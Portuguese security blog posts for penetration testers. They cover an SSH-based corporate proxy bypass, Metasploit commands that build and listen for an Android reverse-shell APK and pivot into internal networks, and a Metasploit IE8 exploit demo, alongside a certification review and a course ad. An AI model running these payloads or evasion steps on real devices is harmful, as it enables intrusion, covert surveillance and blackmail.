13 de junho de 2013

Como burlar um proxy corporativo

Muita gente hoje em dia trabalha em empresas que utilizam proxys corporativos para filtrar aquilo que o funcionário acessa em seu horário de trabalho. Acho isso justo e necessário muitas vezes.

No entanto, para um pentester que esteja realizando um teste do tipo gray box, muitas vezes é necessário acessar a web para baixar alguma ferramenta ou código malicioso para realizar uma escalada de privilégios na máquina em que está trabalhando. É justamente para essas pessoas que direcione esse post. Mas se algum funcionário utilizar essa dica para burlar os controles impostos pelo seu empregador, aí vai outra dica: para pegá-lo existe a rastreabilidade, e uma série de ferramentas e métodos para descobrir que esses controles foram burlados. Isso inclusive é coisa fácil de saber para um perito forense :-)

A ideia aqui, é utilizar algumas ferramentas do tipo Unix like para fazer um bypass em proxys Windows, que utilizam autenticação NTLM.

As seguintes ferramentas serão utilizadas:
  • cntlm é  um proxy que permite que nossas ferramentas atravessem o proxy Windows, realizando a autenticação NTLM. Ele fica "escutando" (listening) no localhost e funciona como um proxy HTTP comum.
  • corkscrew para tunelar o tráfego SSh sobre proxys HTTP. 
  • Um cliente ssh para abrir um socks proxy no localhosty e um servidor ssh ouvindo na 443.
  • Um browser que suporte socks proxy (ex. Firefox)

O tráfego vai fluir na seguinte direção:

Firefox -> ssh client -> corkscrew -> CNTLM -> Corporate Proxy -> SSH server -> Internet


Não vou entrar no mérito de como configurar cada uma dessas ferramentas, pois é coisa simples que se encontra por aí na net. A ideia é mostrar quais os recursos usar para fazer esse bypass. até porque se um pentester não souber como configurar isso, é melhor desistir da profissão :-)

See ya, folks!

10 de junho de 2013

Referências de artigos de Forense Digital e Segurança da Informação na WEB

Essa dica encontrei no blog do Lenny Zeltser, especialista em análise de malwares e instrutor da SANS, além de criador da distribuição Linux REMnux, voltada para engenharia reversa e análise de malwares. O link do blog dele encontra-se na minha lista de blogs interessantes, na parte inferior direita.

Da mesma forma que ocorre com ele, muitas pessoas (principalmente alunos), me pedem referências de sites, artigos e materiais em geral voltados para essa área de forense e infosec. Abaixo, segue uma lista de sites, compilada pelo Lenny Zeltser, divididos em grupos:


Digital forensics in general:
Specific to malware analysis:
Broader IT and information security career tips:

Espero que aproveitem e que essas referências sejam de valia para todos!

6 de junho de 2013

Meterpreter para Android



Há um tempo atrás, começou uma movimentação entre o pessoal que cuida de um fork do Metasploit, para desenvolver diversas funcionalidades que não existem na versão original mantida atualmente pela Rapid7. E dentre essas funcionalidades, está o Meterpreter Java portado para Android.

Já tem um bom tempo que estamos no aguardo de um Meterpreter para Linux, pois só havia uma versão para Windows, e algumas tentativas para o Linux, mas essa versão para Android, também é hiper bem vinda!

Para quem quiser dar uma olhada nessa nova funcionalidade, basta baixar essa versão do Metasploit, ou fazer a atualização de sua instalação com o comando ./msfupdate.

Logo abaixo, vocês podem ver o resultado desse comando atualizando o Metasploit com essa funcionalidade:

./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java


Além disso, podemos visualizar se o mesmo já está instalado:

./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)



E para testá-lo, podemos criar um payload que permite termos uma conexão reversa:

./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.102 R > shell.apk


É interessante, que nesse caso específico, precisamos definir que o formato de saída do payload será RAW (por isso o parâmetro "R"), mas nesse caso em específico, apesar da saída ser RAW, o msfpayload cria um arquivo APK no formato específico do Android. Vejamos:

file shell.apk 
shell.apk: Zip archive data, at least v2.0 to extract

Depois de criado o arquivo, basta que instalemos o mesmo em um dispositivo Android, para vermos seu funcionamento. Mas antes de instalá-lo, vamos deixar nossa máquina escutando, à espera de uma conexão vinda do dispositivo Android:


./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Na imagem acima, podemos ver a conexão reversa sendo realizada e o resultado do comando sysinfo.

Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)


Ok, até aí, quando pensamos em usuários comuns, não vejo muitos problemas, a não ser, obviamente, a invasão de privacidade. Por exemplo, imagine você sendo chantageado, porque um cara descobriu que em sua última ida ao motel, não foi sua esposa que lhe acompanhou (ou vice-versa) ;-)

Mas pensemos em uma grande corporação, onde  o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta? 

Mas ainda assim isso é pouco...

Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80


Com esse procedimento, qualquer dispositivo Android que tenha acesso à rede interna de uma companhia, e que tenha sido comprometido por um atacante, torna-se uma porta de entrada para todos os recursos acessíveis para o funcionário dono do mesmo. E se esse funcionário, mais uma vez, for um executivo? E se esse executivo deixa seus filhos utilizarem seu smartphone ou tablet para instalar joguinhos sem conhecer a procedência ou confiabilidade dos mesmos?

Durmam com isso na mente!

Essa é uma preocupação que eu mesmo tenho, já que atuo com forense. Podem ver minha palestra sobre forense em Android aqui:
Vídeo - http://hackproofing.blogspot.com.br/2013/05/video-de-palestra-androids-forensic.html
Slides - http://hackproofing.blogspot.com.br/2012/05/slides-androids-forensics-you-shot.html

Além disso, ainda atuo na frente de iniciativas de SI em projeto de implementação de BYOD em uma  grande corporação... Logo, esse assunto faz parte de minhas noites insones ;-)

29 de maio de 2013

GXPN - GIAC Exploit Researcher and Advanced Penetration Tester



Hoje venci um desafio que havia planejado desde fevereiro: tirar a certificação GXPN.

Enfim, depois de 3 meses de estudo intensivo, mais de 1.400 páginas de material, diversos desafios online vencidos nos Labs via VPN da SANS, incluindo um CTF final, fiz a prova com conteúdo bem puxado, e consegui passar.

Vou contar um pouco sobre esse curso e essa certificação...

O conteúdo abordado por essa formação é o seguinte:

Exam Certification Objectives

ObjectivesObjective Outcome Statement
Accessing the NetworkThe candidate will demonstrate an understanding of how to bypass network access control systems.
Advanced Fuzzing TechniquesThe candidate will be able to develop custom fuzzing test sequences using the Sulley framework.
Advanced Stack SmashingThe candidate will demonstrate an understanding of how to write advanced stack overflow exploits against canary-protected programs and ASLR.
Crypto for Pen TestersThe candidate will be able to attack and exploit common weaknesses in cryptographic implementations.
Escaping Restricted EnvironmentsThe candidate will demonstrate an understanding of restricted environments in Linux and Windows, Desktop restriction techniques, as well as tools and techniques for bypassing them.
Exploiting the NetworkThe candidate will demonstrate an understanding of how to exploit common vulnerabilities in modern networks attacking client systems and common network protocols.
Fuzzing Introduction and OperationThe candidate will demonstrate an understanding of the benefits and practical application of protocol fuzzing to identify flaws in target software systems.
Introduction to Memory and Dynamic Linux MemoryThe candidate will demonstrate a basic understanding of X86 processor architecture, Linux memory management, assembly and the linking and loading process.
Introduction to Windows ExploitationThe candidate will demonstrate an understanding of Windows constructs required for exploitation and the most common OS and Compile-Time Controls.
Manipulating the NetworkThe candidate will demonstrate an understanding of how to manipulate common network systems to gain escalated privileges and the opportunity to exploit systems.
Network Boot AttacksThe candidate will be able to attack and exploit common weaknesses in network boot environments, including DHCP, BOOTP, and PXE.
Python and Scapy For Pen TestersThe candidate will demonstrate an understanding of the ability to read and modify Python scripts and packet crafting using Scapy to enhance functionality as required during a penetration test.
ShellcodeThe candidate will demonstrate the ability to write shellcode on the Linux operating system, and demonstrate an understanding of the Windows shellcode methodology.
Smashing the StackThe candidate will demonstrate an understanding of how to write basic exploits against stack overflow vulnerabilities.
Windows OverflowsThe candidate will demonstrate an understanding of how to exploit Windows vulnerabilities on the stack, and bypass memory protections.
O que posso dizer, é que esse conteúdo REALMENTE é cobrado na prova. Apesar da prova ser do tipo "open book", onde podemos levar as apostilas e/ou anotações, optei por não usar esse recurso por dois motivos:
- deixar que a prova realmente comprovasse pra mim mesmo meu nível de conhecimento;
- é balela a história do open book, prq não serve pra muita coisa, e obviamente só percebi isso quando já estava fazendo a prova.

Agora, por que o open book não ajuda muito? Simplesmente porque o conteúdo não é decoreba, mas sim análise de casos, tráfego de rede, mapa de rede, resultado de debugging e análise do porque um exploit ou shellcode não funcionou, e o que fazer para que funcionem, análise de scripts de fuzzing e etc. Com isso, a maioria das questões apresenta print de telas para que sejam analisados e uma resposta seja dada.

A prova possui um total de 75 questões, com 180 minutos para realização da mesma. O que dá em média menos de 2 minutos e meio para cada questão. Felizmente finalizei com uma 1h30, pois nunca tive muita paciência com provas, ou sei a resposta ou não, afinal a resposta não cai do céu :-)

Voltando ao curso...

Optei fazer na modalidade SelfStudy, na qual recebemos as apostilas pelo correio, impressas, os mp3 das aulas (equivalente à 5 dias de curso, mais o CTF), e os DVDs com algumas VMs e ferramentas para não precisar fazer downloads para as práticas.

Assim que nos inscrevemos, também recebemos as credenciais para acesso via VPN aos labs da SANS e realizarmos as práticas de cada módulo do curso (são 5 ao todos, e o mesmo número de apostilas). E esse acesso dura 4 meses, que é o tempo que temos entre o estudo e a realização da prova. Se não realizar os labs e a prova nesse período, perdemos o acesso e o voucher, e precisamos pagar uma taxa para reagendar a mesma. Por esse motivo, não quis correr o risco e agendei a prova para três meses após receber todo o material e iniciar os estudos.

Cada módulo, ao todo 5, tem uma apostila específica, com teoria, exercícios práticos, e um bootcamp final para reforçar o conteúdo estudado no módulo. Os módulos são:
- Exploração de Redes
- Criptografia para Pentesters
- Python, Scapy e Fuzzing
- Linux Exploitation
- Windows Exploitation

Apenas para constar: os pdfs que estão disponíveis para download na internet, já estão desatualizados e sem uma série de conteúdos, além de não possibilitar o acesso de quem baixá-los aos labs da SANS.

Como o material é bem extenso (quase 1.400 páginas no total), decidi adotar uma estratégia para agilizar e facilitar meus estudos em um período curto. Afinal, o conteúdo além de complexo, é muito extenso para absorver tudo em 3 meses.

Comecei estudando toda a parte teórica, de todos os 5 módulos, e só depois que terminei, fiz as práticas, pois ajudou-me a concentrar esforços em duas fases distintas (só teoria e depois só prática), sendo que a segunda fase (prática) ajudou-me a relembrar e fixar a primeira parte (teoria).

É muito importante conseguir montar um lab da forma correta para que os exercícios dêem os resultados esperados e possamos entender a lógica da coisa toda. Por exemplo, sem ter um Windows XP SP0, um Windows XP SP3, um Windows Seven, um Windows Server 2003 e um Server 2008, ficará difícil entender o porque de um exploit funcionar em um, e não em outro, e ainda pode ter a possibilidade de readequar um exploit e/ou shellcode para funcionar em mais de uma versão de Windows, ou. no caso do Linux, em versões diferentes do kernel.

O investimento é alto, mas o conteúdo estudado compensa. Infelizmente no Brasil não ganhamos tão bem a ponto de tirar o escorpião do bolso e sacar $4,555.00 para bancar um curso e uma prova dessas, mas as vezes essas oportunidades caem do céu, como no meu caso, onde a empresa onde trabalho decidiu custear essa certificação. E como forma de reconhecimento, vi-me obrigado a passar na prova na primeira tentativa.

Uma coisa que achei interessante, foi o diferencial entre a certificação GXPN e a OSCE, onde na primeira é englobado técnicas de exploração tanto de Windows quanto de Linux, enquanto que na segunda, apenas sistemas Windows são explorados. De qualquer forma, a OSCE já está em meu radar para os próximos meses :-)

Agora tenho novos planos de certificações, para poder aprofundar-me em alguns assuntos de interesse pessoal, e outros que além de interesse pessoal, também envolve os interesses de meu empregador. No primeiro grupo, está a GREM, que infelizmente será deixada para o início do ano que vem, enquanto que aquelas que são de meu interesse, mas também envolvem minhas atividades do dia a dia, já estão agendadas para os próximos meses, e pagas.

Os próximos passos são: OSCP, através de treinamento presencial na Black Hat, e a OSCE, logo após a prova da OSCP. Ambas certificações já estão pagas, e só estão esperando a chegada da Black Hat e esse descanso merecido pós-GXPN. E inclusive sei que a GXPN está servindo como base para a OSCP e OSCE, pois sei do alto nível técnico cobrado por elas em suas avaliações. Esse foi o motivo por decidir seguir essa sequência de certificações.

Confesso que nesses últimos meses (de fevereiro à maio), deixei todos os livros de lado, até mesmo qualquer leitura para espairecer a cabeça, e foquei todo meu esforço nas apostilas, que somadas davam em torno de 3 livros bem técnicos e todos em inglês. Esse é outro ponto importante: o inglês precisa estar afiado, pois todo o material, bem como a prova, está em inglês, sem opção alternativa de tradução.

Bem, essa foi minha experiência, e alguns de meus planos futuros. Se alguém precisar de alguma ajuda, ou tirar dúvidas, sinta-se à vontade, que durante meu escasso tempo livre tentarei ajudar.

OBS1: a prova da GXPN tem 75 questões e é necessário acertar pelo menos 66% da prova para passar. Isso dá 50 questões.

OBS2: não colocarei meu score aqui, pois mesmo que eu diga que tirei 99% vai ter gente falando besteira, dizendo que não sei nada porque não tirei 100% ;-)

24 de maio de 2013

Vídeo de palestra - Android's Forensic: Hard Work - YSTS 6

Há um mês atrás foi publicado o vídeo de minha palestra no evento You Shot The Sheriff 6ª edição, em maio/2012.


Divirtam-se!

Aproveitando, um review do evento como um todo:


Esse ano, pelo que soube, foi muito bom também!
E apesar de eu ter a moeda de prata, não pude comparecer. Mas ano que vem, certamente estarei por lá novamente :-)

17 de maio de 2013

Curso de Teste de Invasão em Redes - EaD


De 12/08 à 12/09/2013

OBS: esse é o curso Pentest em Redes, que faz parte das formações completas. Qualquer pessoa pode participar do mesmo.

Curso de Teste de Invasão em Redes - EaD, com conteúdo completamente prático em ambiente interativo, com acesso à tela do instrutor e download de todo o material de aula (vídeos de cada aula gravada, apostila completa e logs do chat onde as dúvidas são respondidas e os comando digitados).

Os alunos, além de montarem seus laboratórios com máquinas virtuais (com S.Os. atuais), terão exemplos reais de redes e aplicações vulneráveis, encontrados na web durante a aula.

Todo o curso será baseado na distribuição KALI LINUX, com ferramentas livres e gratuitas!

O instrutor do curso possui anos de experiência em testes de invasão, tanto em redes, quanto aplicações web, redes wireless e review code. E é uma oportunidade de aprender com quem convive com as necessidades e situações reais do mercado atual, com clientes de grande porte como multinacionais de diversas áreas (Petróleo e Gás, Telecomunicações, Transportes, Operadoras de Cartão de Crédito, Bancos, Instituições Militares e Órgãos Públicos).


Alguns dos tópicos abordados no curso são:
  • Introdução à Segurança da Informação
  • Introdução ao Teste de Invasão e Ética Hacker
  • Escrita de Relatório
  • Google Hacking
  • Varreduras ativas, passivas e furtivas de rede
  • Enumeração de informações e serviços
  • Definindo vetores de ataque
  • Ignorando Proteções
  • Técnicas de Força Bruta
  • Vulnerabilidades em aplicações web
  • Elevação de Privilégios Locais
  • Testando o sistema
  • Técnicas de Sniffing
  • Ataques a Servidores WEB
  • Ataques a Redes Sem Fio
  • Fuzzing & Exploits de Buffer Overflow
  • Apagando Rastros
  • Metasploit Framework
  • WarGames

Quem tiver interesse no curso, por favor, acesse o link http://bit.ly/ZkbwEE e faça sua inscrição no curso "Teste de Invasão em Redes". Para pagamentos via PagSeguro, utilize o botão abaixo.


Carga horária: 40h
Investimento: R$ 750,00 (com possibilidade de parcelamento em até 12x no cartão de crédito)
Desconto: 10% de desconto para pgtos à vista.
Horário de aula: 22h às 24h
Dias de aula: seg., ter., qua. e qui.
Início das aulas: 12/08/2013

Observação: para pagamentos via depósito em conta, com 10% de desconto, entre em contato com luizwt at gmail.com.

7 de maio de 2013

0Day para Internet Explorer8 - CVE-2013-1347

Todos sabemos o nível de risco que um 0day representa para todo mundo, ainda mais quando se trata do navegador padrão do Windows, o Internet Explorer. Existem alguns exploits, incluindo uma versão para o Metasploit Framework, que permite a exploração de uma falha no navegador que utiliza o javascript para disparar a vulnerabilidade e provocar um heap spray.

Aqui vocês podem obter mais informações acerca da falha em si: http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx

E abaixo vamos ver a utilização do exploit via Metasploit...

Uma busca no Metasploit, após atualizá-lo, já nos mostra o exploit:


Basta selecionarmos o mesmo para uso, e exibir as opções que precisam de configuração para sua utilização:

Depois que "setamos" as opções, e chamamos o exploit para execução, podemos ver a inicialização de um servidor web sendo executado:

E quando tentamos acessar a página pelo IE(pelo IP local da máquina), recebemos a mensagem de travamento do navegador e no console do MSF, teremos uma nova sessão sendo aberta com acesso à máquina da vítima:




A próxima atualização da Microsoft está agendada para dia 14 de maior, portanto até lá quem tiver IE 8 precisa se cuidar :-)

Divirtam-se!